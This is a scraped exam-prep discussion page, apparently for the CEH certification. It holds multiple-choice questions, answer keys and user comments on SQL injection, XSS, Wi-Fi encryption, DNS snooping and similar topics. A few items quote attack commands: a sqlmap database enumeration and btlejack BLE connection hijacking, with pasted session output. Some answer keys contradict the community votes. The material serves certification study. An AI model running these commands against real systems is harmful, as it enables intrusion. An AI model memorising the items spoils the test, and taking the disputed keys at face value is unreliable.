 g\_man\_rap 5 months ago

Considering the advanced techniques that could be employed by a seasoned hacker and the current security measures in place on the e-commerce site, the most likely effective strategies would be Option A (Blind SQL Injection) and Option D (Out-of-Band SQL Injection). Both of these methods can effectively circumvent input validation that merely blocks known patterns or direct data leakage.

Option A is subtle and can be very slow, but it's quite effective in environments where the application gives any sort of feedback based on the query's success or failure. Option D is sophisticated and can bypass more stringent controls by causing the database server to send data to an attacker-controlled location, potentially without triggering alerts that are based on typical input patterns. Both options should be actively guarded against by implementing advanced SQL injection prevention techniques, such as using parameterized queries, employing least privilege on database permissions, and comprehensive monitoring and logging of database queries.

upvoted 3 times

 insaniunt 7 months, 2 weeks ago

Selected Answer: A

In the given scenario, the hacker specializes in SQL Injection attacks and is known for using advanced techniques. Based on this information, the most likely strategy the hacker would adopt to bypass the security measures is:

- A. The hacker might employ a 'blind' SQL Injection attack, taking advantage of the application's true or false responses to extract data bit by bit.

upvoted 2 times

 rorahir 7 months, 3 weeks ago

Hey CEH team can we double-check this CEH method"

upvoted 1 times

Your company, SecureTech Inc., is planning to transmit some sensitive data over an unsecured communication channel. As a cyber security expert, you decide to use symmetric key encryption to protect the data. However, you must also ensure the secure exchange of the symmetric key. Which of the following protocols would you recommend to the team to achieve this?

- A. Switching all data transmission to the HTTPS protocol.
- B. Implementing SSL certificates on your company's web servers.
- C. Utilizing SSH for secure remote logins to the servers.
- D. Applying the Diffie-Hellman protocol to exchange the symmetric key.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: D

'However, you must also ensure the secure exchange of the symmetric key' -the only one applicable is D  
upvoted 2 times

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: D

D. Applying the Diffie-Hellman protocol to exchange the symmetric key.

The Diffie-Hellman key exchange protocol is specifically designed for securely exchanging cryptographic keys over an untrusted communication channel

upvoted 3 times

✉️  [Removed] 7 months, 3 weeks ago

Team can you confirm if this is accurate

upvoted 1 times

As an IT intern, you have been asked to help set up a secure Wi-Fi network for a local coffee shop. The owners want to provide free Wi-Fi to their customers, but they are concerned about potential security risks. They are looking for a simple yet effective solution that would not require a lot of technical knowledge to manage. Which of the following security measures would be the most suitable in this context?

- A. Disable the network's SSID broadcast
- B. Enable MAC address filtering
- C. Require customers to use VPN when connected to the Wi-Fi
- D. Implement WPA2 or WPA3 encryption

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

Again, ease of use and limited technical capabilities - D

upvoted 1 times

✉️ 🚑 insanaint 7 months, 2 weeks ago

Selected Answer: D

D. Implement WPA2 or WPA3 encryption

upvoted 3 times

✉️ 🚑 [Removed] 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 1 times

During a penetration test, an ethical hacker is exploring the security of a complex web application. The application heavily relies on JavaScript for client-side input sanitization, with an apparent assumption that this alone is adequate to prevent injection attacks. During the investigation, the ethical hacker also notices that the application utilizes cookies to manage user sessions but does not enable the HttpOnly flag. This lack of flag potentially exposes the cookies to client-side scripts. Given these identified vulnerabilities, what would be the most effective strategy for the ethical hacker to exploit this application?

- A. Instigate a Distributed Denial of Service (DDoS) attack to overload the server, capitalizing on potential weak server-side security.
- B. Implement an SQL Injection attack to take advantage of potential unvalidated input and gain unauthorized database access.
- C. Employ a brute-force attack to decipher user credentials, considering the lack of server-side validation.
- D. Launch a Cross-Site Scripting (XSS) attack, aiming to bypass the client-side sanitization and exploit the exposure of session cookies.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: D

D - because if there's lack of HttpOnly & validation via JavaScript, this opens the possibility for a XSS to exploit the cookies  
upvoted 1 times

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: D

D. Launch a Cross-Site Scripting (XSS) attack, aiming to bypass the client-side sanitization and exploit the exposure of session cookies.  
upvoted 4 times

✉️  [Removed] 7 months, 3 weeks ago

Hey friends can we make sure this is correct  
upvoted 1 times

In the process of footprinting a target website, an ethical hacker utilized various tools to gather critical information. The hacker encountered a target site where standard web spiders were ineffective due to a specific file in its root directory. However, they managed to uncover all the files and web pages on the target site, monitoring the resulting incoming and outgoing traffic while browsing the website manually. What technique did the hacker likely employ to achieve this?

- A. Using the Netcraft tool to gather website information
- B. Examining HTML source code and cookies
- C. Using Photon to retrieve archived URLs of the target website from archive.org
- D. User-directed spidering with tools like Burp Suite and WebScarab

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

D - because Burp Suite is very good at spidering a website  
upvoted 1 times

✉️ 🚑 insanaint 7 months, 2 weeks ago

Selected Answer: D

D. User-directed spidering with tools like Burp Suite and WebScarab.  
upvoted 3 times

✉️ 🚑 [Removed] 7 months, 3 weeks ago

Could someone help me confirm the accuracy of this data  
upvoted 1 times

During a comprehensive security assessment, your cybersecurity team at XYZ Corp stumbles upon signs that point toward a possible Advanced Persistent Threat (APT) infiltration in the network infrastructure. These sophisticated threats often exhibit subtle indicators that distinguish them from other types of cyberattacks. To confirm your suspicion and adequately isolate the potential APT, which of the following actions should you prioritize?

- A. Investigate for anomalies in file movements or unauthorized data access attempts within your database system
- B. Scrutinize for repeat network login attempts from unrecognized geographical regions
- C. Vigilantly monitor for evidence of zero-day exploits that manage to evade your firewall or antivirus software
- D. Search for proof of a spear-phishing attempt, such as the presence of malicious emails or risky attachments

Correct Answer: C

*Community vote distribution*

A (92%) 8%

✉️  **insaniunt** 7 months, 1 week ago

Selected Answer: A

A. Investigate for anomalies in file movements or unauthorized data access attempts within your database system  
upvoted 2 times

✉️  **calx5** 7 months, 1 week ago

Selected Answer: A

A, file movement or unauthorized access  
upvoted 2 times

✉️  **brrbrr** 7 months, 1 week ago

Selected Answer: A

Advanced Persistent Threats (APTs) often involve long-term, stealthy attacks aimed at unauthorized access and data exfiltration. One common characteristic is the persistence and subtle nature of these threats. Investigating anomalies in file movements or unauthorized data access attempts within the database system can help detect and confirm the presence of an APT. Monitoring for unusual patterns or activities within the database system is crucial in identifying and mitigating advanced and persistent threats.

upvoted 3 times

✉️  **duke\_of\_kamulu** 6 months, 4 weeks ago

ANSWER IS A reason looking for signs

Specific Warning Signs APT attacks are usually impossible to detect. However, some indications of an attack include inexplicable user account activities, the presence of a backdoor Trojan for maintaining access to the network, unusual file transfers and file uploads, unusual database activities, etc.

upvoted 1 times

✉️  **qwertyst100** 7 months, 1 week ago

Selected Answer: A

A. Investigate for anomalies in file movements or unauthorized data access attempts within your database system

Module 07 page 965

upvoted 3 times

✉️  **lukinno** 7 months, 1 week ago

I think A, C, D are correct.

Prioritize actions related to monitoring file movements, detecting zero-day exploits, and investigating spear-phishing attempts.

upvoted 1 times

✉️  **duke\_of\_kamulu** 7 months, 1 week ago

965 Evading Signature-Based Detection Systems APT attacks are closely related to zero-day exploits, which contain malware that has never been previously discovered or deployed. Thus, APT attacks can easily bypass security mechanisms such as firewalls, antivirus software, IDS/IPS, and email spam filters.

upvoted 1 times

✉️  **kennels** 7 months, 1 week ago

Selected Answer: B

B. Scrutinize for repeat network login attempts from unrecognized geographical regions

upvoted 1 times

✉️  **JustAName** 7 months, 2 weeks ago

Selected Answer: A

I'd pick A since APT is not only through zero-day exploits, it can be through other method like social engineering as well. In my opinion, Option C kind of limit our investigation.

upvoted 1 times

✉️ 🚩 Nopez 7 months, 2 weeks ago

It is "A", page 648

upvoted 1 times

✉️ 🚩 Nopez 7 months, 2 weeks ago

It is "A", page 648

upvoted 2 times

✉️ 🚩 insaniunt 7 months, 2 weeks ago

why not A?

upvoted 1 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 1 times

As a budding cybersecurity enthusiast, you have set up a small lab at home to learn more about wireless network security. While experimenting with your home Wi-Fi network, you decide to use a well-known hacking tool to capture network traffic and attempt to crack the Wi-Fi password. However, despite many attempts, you have been unsuccessful. Your home Wi-Fi network uses WPA2 Personal with AES encryption. Why are you finding it difficult to crack the Wi-Fi password?

- A. Your hacking tool is outdated.
- B. The Wi-Fi password is too complex and long.
- C. The network is using an uncrackable encryption method.
- D. The network is using MAC address filtering.

Correct Answer: C

*Community vote distribution*

B (100%)

✉ njasanjs 2 months, 4 weeks ago

Selected Answer: B

WPA2 with AES is not uncrackable, but it is very secure when used with a strong passphrase. It can be cracked if the password is weak or if certain vulnerabilities are exploited, but this is not the case here.

upvoted 1 times

✉ g\_man\_rap 5 months ago

C. WPA2 Personal with AES is widely used. If it would be simple to crack would not be used at large scale.

upvoted 1 times

✉ anarchyeagle 7 months ago

Selected Answer: B

ChatGPT:

B. The Wi-Fi password is too complex and long.

Here's why this option is the most plausible:

WPA2 Personal with AES encryption is currently considered secure for home and personal use, provided a strong, complex, and long password is used. AES (Advanced Encryption Standard) is a symmetric encryption algorithm widely regarded as unbreakable with current computing technology when implemented correctly. The security of a WPA2 network largely depends on the password's strength. A complex and long password (typically 12 characters or more, including numbers, symbols, and upper and lower case letters) significantly increases the time and computational power required to crack it through brute-force attacks.

upvoted 1 times

✉ insaniunt 7 months, 2 weeks ago

Selected Answer: B

C. The network is using an uncrackable encryption method

upvoted 1 times

✉ sogbe 7 months, 2 weeks ago

The issue here is

A. The hacking tool is outdated

The question suggests that you're using a well known hack which involves capturing network traffic to get into the wifi network, this is how the IV attack worked on WEP, by picking up enough packets from the air to be able to figure out which key is in use. That doesn't work with WPA2 though WPA2 is vulnerable to KRACK which attacks the network by abusing the 3 way handshake authentication method.

Besides look at the suggested answer, nothing is uncrackable, especially not WiFi, even something like AES256 bit is breakable... it would just take a billion years to do it. But KRACK will break through WPA2.

upvoted 1 times

✉ przemyslaw1 7 months, 2 weeks ago

KRACK attack does not allow the password value to be determined. The attacker only steals the session key.

upvoted 1 times

✉ [Removed] 7 months, 3 weeks ago

Im unsure about the accuracy of this statement

upvoted 1 times

✉ [Removed] 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 1 times

✉  **qwerty100** 7 months, 3 weeks ago

Selected Answer: B

B. The Wi-Fi password is too complex and long.

upvoted 2 times

Question #245

Topic 1

An ethical hacker is testing a web application of a financial firm. During the test, a 'Contact Us' form's input field is found to lack proper user input validation, indicating a potential Cross-Site Scripting (XSS) vulnerability. However, the application has a stringent Content Security Policy (CSP) disallowing inline scripts and scripts from external domains but permitting scripts from its own domain. What would be the hacker's next step to confirm the XSS vulnerability?

- A. Utilize a script hosted on the application's domain to test the form
- B. Try to disable the CSP to bypass script restrictions
- C. Inject a benign script inline to the form to see if it executes
- D. Load a script from an external domain to test the vulnerability

Correct Answer: A

*Community vote distribution*

A (67%)

B (33%)

✉  **LordXander** 5 months, 4 weeks ago

Selected Answer: B

Well, B could be an option however also A. A is more applicable for an insider threat

upvoted 1 times

✉  **insaniunt** 7 months, 2 weeks ago

Selected Answer: A

A. Utilize a script hosted on the application's domain to test the form

Since the CSP allows scripts from the application's own domain, using a script hosted on the same domain would be a valid and ethical way to confirm the XSS vulnerability. This approach aligns with the permitted behavior of the CSP and helps the ethical hacker assess whether the lack of proper user input validation in the 'Contact Us' form leads to the execution of scripts from the same domain.

upvoted 2 times

✉  **[Removed]** 7 months, 3 weeks ago

Team can you confirm if this is accurate

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

Could someone please validate this information

upvoted 1 times

John, a security analyst, is analyzing a server suspected of being compromised. The attacker has used a non admin account and has already gained a foothold on the system. John discovers that a new Dynamic Link Library is loaded in the application directory of the affected server. This DLL does not have a fully qualified path and seems to be malicious. What privilege escalation technique has the attacker likely used to compromise this server?

- A. DLL Hijacking
- B. Named Pipe Impersonation
- C. Spectre and Meltdown Vulnerabilities
- D. Exploiting Misconfigured Services

Correct Answer: A

*Community vote distribution*

A (100%)

✉  ethacker2 7 months ago

A. DLL Hijacking  
CEHv12 Book Module 6 p.711

Most Windows applications do not use the fully qualified path when loading an external DLL library; instead, they first search the directory from which they have been loaded. Taking this as an advantage, if attackers can place a malicious DLL in the application directory, the application will execute the malicious DLL in place of the real DLL. For example, if an application program ".exe" needs library.dll (usually in the Windows system directory) to install the application, and fails to specify the library.dll path, Windows will search for the DLL in the directory from which the application was launched. If an attacker has already placed the DLL in the same directory as program.exe, then that malicious DLL will load instead of the real DLL, which allows the attacker to gain remote access to the target system.

upvoted 1 times

✉  qwerty100 7 months, 3 weeks ago

Selected Answer: A  
A. DLL Hijacking  
(Module 06 page 711)  
upvoted 2 times

✉  [Removed] 7 months, 3 weeks ago

Could someone help me confirm if this is correct  
upvoted 1 times

✉  DarioReymag 7 months, 3 weeks ago

Is this answer accurate friends  
upvoted 1 times

Alex, a cloud security engineer working in Eyecloud Inc. is tasked with isolating applications from the underlying infrastructure and stimulating communication via well-defined channels. For this purpose, he used an open-source technology that helped him in developing, packaging, and running applications; further, the technology provides PaaS through OS-level virtualization, delivers containerized software packages, and promotes fast software delivery.

What is the cloud technology employed by Alex in the above scenario?

- A. Virtual machine
- B. Docker
- C. Zero trust network
- D. Serverless computing

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: B

developing, packaging, and running applications - the keyword is packing...which indicates a docker env - B  
upvoted 2 times

✉️  qwerty100 7 months ago

Selected Answer: B

B. Docker  
upvoted 1 times

✉️  qtygbapjpesdayazko 7 months, 1 week ago

Im unsure about this ethical hacking strategy  
upvoted 1 times

Henry is a penetration tester who works for XYZ organization. While performing enumeration on a client organization, he queries the DNS server for a specific cached DNS record. Further, by using this cached record, he determines the sites recently visited by the organization's user.

What is the enumeration technique used by Henry on the organization?

- A. DNS zone walking
- B. DNS cache snooping
- C. DNS cache poisoning
- D. DNSSEC zone walking

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  **LordXander** 5 months, 4 weeks ago

Selected Answer: B

B - CEH 470 / Module 4

upvoted 1 times

✉️  **insaniunt** 7 months, 1 week ago

Selected Answer: B

DNS Cache Snooping: This technique involves querying the DNS server's cache for information about the recent DNS resolutions it has performed. By analyzing the cached records, an attacker can gain insights into the websites or services recently visited by the organization's users. This can be a valuable reconnaissance step in understanding the organization's network activity.

upvoted 4 times

✉️  **qtygbapjpesdayazko** 7 months, 1 week ago

Could someone please validate this information

upvoted 1 times

Gregory, a professional penetration tester working at Sys Security Ltd., is tasked with performing a security test of web applications used in the company. For this purpose, Gregory uses a tool to test for any security loopholes by hijacking a session between a client and server. This tool has a feature of intercepting proxy that can be used to inspect and modify the traffic between the browser and target application. This tool can also perform customized attacks and can be used to test the randomness of session tokens.

Which of the following tools is used by Gregory in the above scenario?

- A. Wireshark
- B. Nmap
- C. Burp Suite
- D. CxSAST

Correct Answer: C

*Community vote distribution*

C (71%)

B (29%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: C

Burp is the industry gold standard for intercepting data between a user and an application..also P. 190 CEH  
upvoted 1 times

✉️ 🚑 ethacker2 7 months ago

Selected Answer: C

C. Burp Suite  
CEHv12 Book Module 2 p. 190

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work together to support the entire testing process, from initial mapping and analysis of an application's attack surface to finding and exploiting security vulnerabilities. Burp Proxy allows attackers to intercept all requests and responses between the browser and the target web application and obtain information such as web server used, its version, and web-application-related vulnerabilities.

upvoted 4 times

✉️ 🚑 insaniunt 7 months, 1 week ago

Selected Answer: B

Burp Suite is a widely used security testing tool specifically designed for web applications. It includes features such as an intercepting proxy that allows the tester to inspect and modify HTTP traffic between the browser and the target application. It can be used to identify security vulnerabilities, perform customized attacks, and test the randomness of session tokens.

upvoted 2 times

✉️ 🚑 qtygbapjpesdayazko 7 months, 1 week ago

Im unsure about the accuracy of this statement

upvoted 1 times

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

- A. Perform a vulnerability scan of the system.
- B. Determine the impact of enabling the audit feature.
- C. Perform a cost/benefit analysis of the audit feature.
- D. Allocate funds for staffing of audit log review.

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  **g\_man\_rap** 5 months ago

B. Determine the impact of enabling the audit feature.

Analysis: Understanding the impact of enabling auditing is critical. Auditing can have significant effects on system performance, storage requirements, and operational workflows. It is essential to assess how the system will handle the additional load of recording and storing audit logs and how it may affect the system's responsiveness and other functionalities. This option ensures that the bank can plan for any necessary infrastructure upgrades or adjustments in system configurations before the feature is activated.

upvoted 1 times

✉  **LordXander** 5 months, 4 weeks ago

Selected Answer: B

Just because other options make less sense

upvoted 1 times

✉  **insaniunt** 7 months, 1 week ago

Selected Answer: B

B. Determine the impact of enabling the audit feature.

upvoted 1 times

✉  **nosavotor** 7 months, 1 week ago

Could someone help me confirm the accuracy of this data

upvoted 1 times

A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine.

Which of the following advanced operators would allow the pen tester to restrict the search to the organization's web domain?

- A. [allinurl:]
- B. [location:]
- C. [site:]
- D. [link:]

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: C

C because is the most specific one for a domain  
upvoted 1 times

✉️ 🚑 qwerty100 7 months ago

Selected Answer: C

C. [site:]  
upvoted 1 times

✉️ 🚑 qtygbapjpesdayazko 7 months, 1 week ago

Im not certain about this CEH concept  
upvoted 1 times

The security team of Debry Inc. decided to upgrade Wi-Fi security to thwart attacks such as dictionary attacks and key recovery attacks. For this purpose, the security team started implementing cutting-edge technology that uses a modern key establishment protocol called the simultaneous authentication of equals (SAE), also known as dragonfly key exchange, which replaces the PSK concept.

What is the Wi-Fi encryption technology implemented by Debry Inc.?

- A. WPA
- B. WEP
- C. WPA3
- D. WPA2

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: C

Darong fly = WPA 3

upvoted 1 times

✉️ 🚑 ethacker2 7 months ago

Selected Answer: C

C. WPA3

CEHv12 Book Module 16 p.2392

WPA3 is an advanced implementation of WPA2 providing trailblazing protocols and uses the AES-GCMP 256 encryption algorithm. It is mainly used to deliver password-based authentication using the SAE protocol, also known as Dragonfly Key Exchange. It is resistant to offline dictionary attacks and key recovery attacks.

upvoted 1 times

✉️ 🚑 insanint 7 months, 1 week ago

Selected Answer: C

also known as dragonfly key exchange = wpa3

upvoted 2 times

✉️ 🚑 qtygbapjpesdayazko 7 months, 1 week ago

CEH professionals can you verify this procedure

upvoted 1 times

A security analyst uses Zenmap to perform an ICMP timestamp ping scan to acquire information related to the current time from the target host machine.

Which of the following Zenmap options must the analyst use to perform the ICMP timestamp ping scan?

- A. -Pn
- B. -PU
- C. -PP
- D. -PY

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚑 pboniface 1 month, 1 week ago

Selected Answer: C

-PP is the Nmap option that specifies an ICMP timestamp request.

upvoted 1 times

✉️ 🚑 ET0722 7 months, 1 week ago

CEH module 3 page 290. ICMP timestamp ping scan uses -PP option.

upvoted 2 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: C

PP: This option in Zenmap is used for ICMP timestamp ping scans. It sends ICMP Echo Request (ping) packets with a timestamp request to the target host. This can help the analyst gather information related to the current time from the target host.

upvoted 2 times

✉️ 🚑 qtygbapjpesdayazko 7 months, 1 week ago

Team can you confirm if this is accurate

upvoted 1 times

An attacker decided to crack the passwords used by industrial control systems. In this process, he employed a loop strategy to recover these passwords. He used one character at a time to check whether the first character entered is correct; if so, he continued the loop for consecutive characters. If not, he terminated the loop. Furthermore, the attacker checked how much time the device took to finish one complete password authentication process, through which he deduced how many characters entered are correct.

What is the attack technique employed by the attacker to crack the passwords of the industrial control systems?

- A. Buffer overflow attack
- B. Side-channel attack
- C. Denial-of-service attack
- D. HMI-based attack

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  ethacker2 7 months ago

Selected Answer: B

B. Side-channel attack  
CEHv12 Book Module 18 p. 2956

Attackers perform a side-channel attack by monitoring its physical implementation to obtain critical information from a target system. Attackers use two techniques, namely timing analysis and power analysis, to perform side-channel attacks on the target OT systems.

Passwords are often transmitted through a serial channel. Attackers employ a loop strategy to recover these passwords. They use one character at a time to check whether the first character entered is correct; if so, the loop continues for consecutive characters. If not, the loop terminates. Attackers check how much time the device is taking to finish one complete password authentication process, through which they can determine how many characters entered are correct.

upvoted 1 times

✉  insanint 7 months, 1 week ago

Selected Answer: B

B. Side-channel attack

In this scenario, the attacker is exploiting information leaked through a side channel, which is the time it takes for the authentication process. This method is often referred to as a timing attack.

upvoted 2 times

✉  qtygbapjpesdayazko 7 months, 1 week ago

CEH experts can you validate this solution

upvoted 1 times

Given below are different steps involved in the vulnerability-management life cycle.

- 1) Remediation
- 2) Identify assets and create a baseline
- 3) Verification
- 4) Monitor
- 5) Vulnerability scan
- 6) Risk assessment

Identify the correct sequence of steps involved in vulnerability management.

- A. 2 → 5 → 6 → 1 → 3 → 4
- B. 2 → 4 → 5 → 3 → 6 → 1
- C. 2 → 1 → 5 → 6 → 4 → 3
- D. 1 → 2 → 3 → 4 → 5 → 6

Correct Answer: A

*Community vote distribution*

A (80%)

B (20%)

✉ LordXander 5 months, 4 weeks ago

Selected Answer: A

You need to verify after remediation, hence A

upvoted 1 times

✉ ethacker2 7 months ago

Selected Answer: A

A. 2 → 5 → 6 → 1 → 3 → 4

CEHv12 Book Module 5 p.534

The phases involved in vulnerability management are:

- Pre-Assessment Phase o Identify Assets and Create a Baseline
- Vulnerability Assessment Phase o Vulnerability Scan
- Post Assessment Phase o Risk Assessment o Remediation o Verification o Monitoring

upvoted 1 times

✉ ethacker2 7 months ago

The phases involved in vulnerability management are:

- Pre-Assessment Phase  
(Identify Assets and Create a Baseline)
  - Vulnerability Assessment Phase  
(Vulnerability Scan)
  - Post Assessment Phase
- Risk Assessment  
Remediation  
Verification  
Monitoring

upvoted 1 times

✉ insaniunt 7 months, 1 week ago

Selected Answer: A

Module 05 Page 533

upvoted 2 times

✉ qtygbapjpesdayazko 7 months, 1 week ago

Could someone help me confirm the accuracy of this data

upvoted 1 times

✉ d10f290 7 months, 1 week ago

Selected Answer: B

B maybe ?

upvoted 1 times

Which type of attack attempts to overflow the content-addressable memory (CAM) table in an Ethernet switch?

- A. DDoS attack
- B. Evil twin attack
- C. DNS cache flooding
- D. MAC flooding

Correct Answer: *D*

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

- A - doesn't deal with switches
- B - it's for WIFI
- C - switches are not vulnerable to DNS cache flooding
- D - they are vulnerable to MAC flooding

upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: D

- D. MAC flooding

upvoted 3 times

✉️ 🚑 qtygbapjpesdayazko 7 months, 1 week ago

Could someone confirm the effectiveness of this ethical hacking method

upvoted 1 times

What is the following command used for?

```
sqlmap.py -u "http://10.10.1.20/?p=1&forumaction=search" --dbs
```

- A. Retrieving SQL statements being executed on the database
- B. Creating backdoors using SQL injection
- C. Enumerating the databases in the DBMS for the URL
- D. Searching database statements at the IP address given

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: C

Because is the only one that makes sense

upvoted 1 times

✉️  insanjunt 7 months, 1 week ago

Selected Answer: C

C. Enumerating the databases in the DBMS for the given URL

It uses SQLMap, a popular tool for automated detection and exploitation of SQL injection vulnerabilities, with the --dbs option indicating that it should enumerate the databases.

upvoted 4 times

✉️  qtygbapjpesdayazko 7 months, 1 week ago

Im not certain about the reliability of that information

upvoted 1 times

Jane is working as a security professional at CyberSol Inc. She was tasked with ensuring the authentication and integrity of messages being transmitted in the corporate network. To encrypt the messages, she implemented a security model in which every user in the network maintains a ring of public keys. In this model, a user needs to encrypt a message using the receiver's public key, and only the receiver can decrypt the message using their private key.

What is the security model implemented by Jane to secure corporate messages?

- A. Zero trust network
- B. Secure Socket Layer (SSL)
- C. Transport Layer Security (TLS)
- D. Web of trust (WOT)

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 3405 - D

upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: D

D. Web of trust (WOT)

In a Web of Trust (WOT) model, users validate the authenticity of each other's public keys, creating a decentralized trust network. This approach is commonly used in Pretty Good Privacy (PGP) and other public-key cryptography systems.

upvoted 1 times

✉️ 🚑 nosavotor 7 months, 1 week ago

Team is this CEH method correct

upvoted 1 times

Clark, a professional hacker, attempted to perform a Btlejacking attack using an automated tool, Btlejack, and hardware tool, micro:bit. This attack allowed Clark to hijack, read, and export sensitive information shared between connected devices. To perform this attack, Clark executed various btlejack commands.

Which of the following commands was used by Clark to hijack the connections?

- A. btlejack -f 0x9c68fd30 -t -m 0x1fffffff
- B. btlejack -c any
- C. btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
- D. btlejack -f 0x129f3244 -j

Correct Answer: A

*Community vote distribution*

A (100%)

✉  g\_man\_rap 5 months ago

D is more accurate.

D. btlejack -f 0x129f3244 -j

This command is explicitly aimed at hijacking an ongoing BLE connection on the specified frequency, aligning perfectly with the scenario's description of hijacking to read and export sensitive information.

To hijack a connection, as described in option D with the -j flag, involves actively intervening in the communication. This means inserting the attacker's device into the communication flow in a way that allows them to intercept, modify, or block the data being exchanged without the original devices noticing. This is more aggressive and direct in terms of interaction compared to merely tracking.

Thus, while option A is very relevant for understanding the dynamics of the communication and could be a precursor to an effective hijacking (by knowing where and how to hijack), it does not by itself perform the action of hijacking. Therefore, it's correct to say that option A could be part of the process leading up to a hijack, but it isn't the command that would be used to execute the hijacking. The specific action of hijacking in Btlejack is indicated by the -j flag, as shown in option D.

upvoted 1 times

✉  LordXander 5 months, 4 weeks ago

Selected Answer: A

CEHv12 2538

upvoted 1 times

✉  insanint 7 months, 1 week ago

Selected Answer: A

Module 16 Page 2538

upvoted 1 times

 Lunko 7 months, 1 week ago

Selected Answer: A

Hijacking a BLE connection

Btlejack is also able to hijack an existing connection, use the -t option to do so. Once hijacked, Btlejack will give you a prompt allowing you to interact with the hijacked device.

First, hijack an existing connection:

```
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffff
```

BtleJack version 1.1

[i] Using cached parameters (created on 2018-08-11 01:48:24)

[i] Detected sniffers:

> Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0x9c68fd30 ...

✓ CRCInit: 0x81f733

✓ Channel map is provided: 0x1fffffff

✓ Hop interval = 39

✓ Hop increment = 9

[i] Synchronized, hijacking in progress ...

[i] Connection successfully hijacked, it is all yours \o/

btlejack>

upvoted 2 times

John, a professional hacker, targeted CyberSol Inc., an MNC. He decided to discover the IoT devices connected in the target network that are using default credentials and are vulnerable to various hijacking attacks. For this purpose, he used an automated tool to scan the target network for specific types of IoT devices and detect whether they are using the default, factory-set credentials.

What is the tool employed by John in the above scenario?

- A. IoT Inspector
- B. AT&T IoT Platform
- C. IoTSeeker
- D. Azure IoT Central

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  **kinaJ** 2 months ago

**Selected Answer: C**

IoTSeeker is specifically designed to identify IoT devices that are using default or factory-set credentials, which can be a common vulnerability and a target for hijacking attacks.

IoT Inspector is a tool used for analyzing the traffic of IoT devices.

AT&T IoT Platform and Azure IoT Central are IoT management and analytics platforms, but they are not specifically designed for scanning network for default credentials.

upvoted 1 times

✉️  **sunce12** 3 months, 1 week ago

C. IoTSeeker

upvoted 1 times

✉️  **LordXander** 5 months, 4 weeks ago

**Selected Answer: C**

CEHv12- 2844

upvoted 1 times

✉️  **insaniunt** 7 months, 1 week ago

**Selected Answer: C**

C. IoTSeeker

IoTSeeker is a tool specifically designed for searching and detecting IoT devices in a network that are using default credentials, making them potentially vulnerable to attacks.

upvoted 3 times

✉️  **nosavotor** 7 months, 1 week ago

Hey friends can we make sure this is correct

upvoted 1 times

To hide the file on a Linux system, you have to start the filename with a specific character.

What is the character?

- A. Tilde (~)
- B. Underscore (\_)
- C. Period (.)
- D. Exclamation mark (!)

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  a307962 3 months ago

Selected Answer: C

...C...

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: C

..... C .....

upvoted 1 times

✉️  MustafaDDD 6 months ago

Selected Answer: C

C is correct - Period (.)

upvoted 1 times

✉️  insaniumt 7 months, 1 week ago

Selected Answer: C

C. Period (.)

upvoted 1 times

✉️  nosavotor 7 months, 1 week ago

Im not certain about this ethical hacking concept

upvoted 1 times

Tony wants to integrate a 128-bit symmetric block cipher with key sizes of 128, 192, or 256 bits into a software program, which involves 32 rounds of computational operations that include substitution and permutation operations on four 32-bit word blocks using 8-variable S-boxes with 4-bit entry and 4-bit exit.

Which of the following algorithms includes all the above features and can be integrated by Tony into the software program?

- A. CAST-128
- B. RC5
- C. TEA
- D. Serpent

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  **insaniunt** 7 months, 1 week ago

Selected Answer: D

D. Serpent

Serpent is a symmetric key block cipher that meets the specified criteria and is suitable for integration into the software program described by Tony.

upvoted 2 times

✉️  **nosavotor** 7 months, 1 week ago

Im unsure about this ethical hacking strategy

upvoted 1 times

Jacob works as a system administrator in an organization. He wants to extract the source code of a mobile application and disassemble the application to analyze its design flaws. Using this technique, he wants to fix any bugs in the application, discover underlying vulnerabilities, and improve defense strategies against attacks.

What is the technique used by Jacob in the above scenario to improve the security of the mobile application?

- A. Reverse engineering
- B. App sandboxing
- C. Jailbreaking
- D. Social engineering

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: A

A - CEHv12 - 2742

upvoted 1 times

